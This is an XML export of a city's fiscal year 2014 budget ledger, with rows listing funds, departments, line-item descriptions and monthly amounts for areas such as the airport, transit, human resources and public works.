<row _id="6286"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>405590.0</object><object_description>CABLE FRANCHISE FEES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="6292"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7651.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7651.0</total></row>
<row _id="6293"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401002.0</object><object_description>SWIM CENTER-REC/LAP SWIM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-204809.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-204809.0</total></row>
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<row _id="6295"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>666.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>666.0</total></row>
<row _id="6296"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561404.0</object><object_description>PROJECT HOMECOMING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>35893.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35893.0</total></row>
<row _id="6297"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>209.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>209.0</total></row>
<row _id="6298"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10833.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10833.0</total></row>
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<row _id="6300"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402120.0</object><object_description>AIRPORT - OFFICE / SHOP RENTAL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1826174.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1826174.0</total></row>
<row _id="6301"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>52106.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52106.0</total></row>
<row _id="6302"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>98928.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>98928.0</total></row>
<row _id="6303"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2166.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2166.0</total></row>
<row _id="6304"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>111523.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>111523.0</total></row>
<row _id="6305"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522930.0</object><object_description>VEHICLES - TIRES / TUBES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>627.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>627.0</total></row>
<row _id="6306"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50952.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50952.0</total></row>
<row _id="6307"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6587.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6587.0</total></row>
<row _id="6308"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>577220.0</object><object_description>INTRST EXP-BONDS &amp; OTHR LOANS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>530170.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>530170.0</total></row>
<row _id="6309"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>588200.0</object><object_description>BLDG RENOVATION / MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>62730.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>62730.0</total></row>
<row _id="6310"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4969.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4969.0</total></row>
<row _id="6311"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>20464.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20464.0</total></row>
<row _id="6312"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9674.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9674.0</total></row>
<row _id="6313"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407910.0</object><object_description>CAP GRNTS - PRP 1B SECURITY</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2014</fiscal_year><july>-516483.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-516483.0</total></row>
<row _id="6314"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17494.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17494.0</total></row>
<row _id="6315"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="6316"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>550.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>550.0</total></row>
<row _id="6317"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="6318"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>560010.0</object><object_description>SCADA O &amp; M</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>30000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="6319"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="6320"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>626</division_id><division_name>PIER DIVISION</division_name><object>404610.0</object><object_description>PROMOTIONAL FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6321"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="6322"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14894.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14894.0</total></row>
<row _id="6323"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>31000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31000.0</total></row>
<row _id="6324"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1409.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1409.0</total></row>
<row _id="6325"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>22825.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22825.0</total></row>
<row _id="6326"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>196380.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>196380.0</total></row>
<row _id="6327"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-67000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-67000.0</total></row>
<row _id="6328"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407060.0</object><object_description>KEC TENANT RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-122088.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-122088.0</total></row>
<row _id="6329"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407861.0</object><object_description>VENDING MACH SALES-VAP</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-1300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1300.0</total></row>
<row _id="6330"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402100.0</object><object_description>AIRPORT - FUEL SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-295000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-295000.0</total></row>
<row _id="6331"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12129.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12129.0</total></row>
<row _id="6332"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1206.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1206.0</total></row>
<row _id="6333"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>400570.0</object><object_description>ADMIN FINES/PENALTIES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2014</fiscal_year><july>-5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5000.0</total></row>
<row _id="6334"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1432743.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1432743.0</total></row>
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<row _id="6365"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>626</division_id><division_name>PIER DIVISION</division_name><object>401830.0</object><object_description>VENDOR RENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6366"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1381.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1381.0</total></row>
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<row _id="6368"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20487.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20487.0</total></row>
<row _id="6369"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>731.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>731.0</total></row>
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<row _id="6372"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11536.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11536.0</total></row>
<row _id="6373"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1372.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1372.0</total></row>
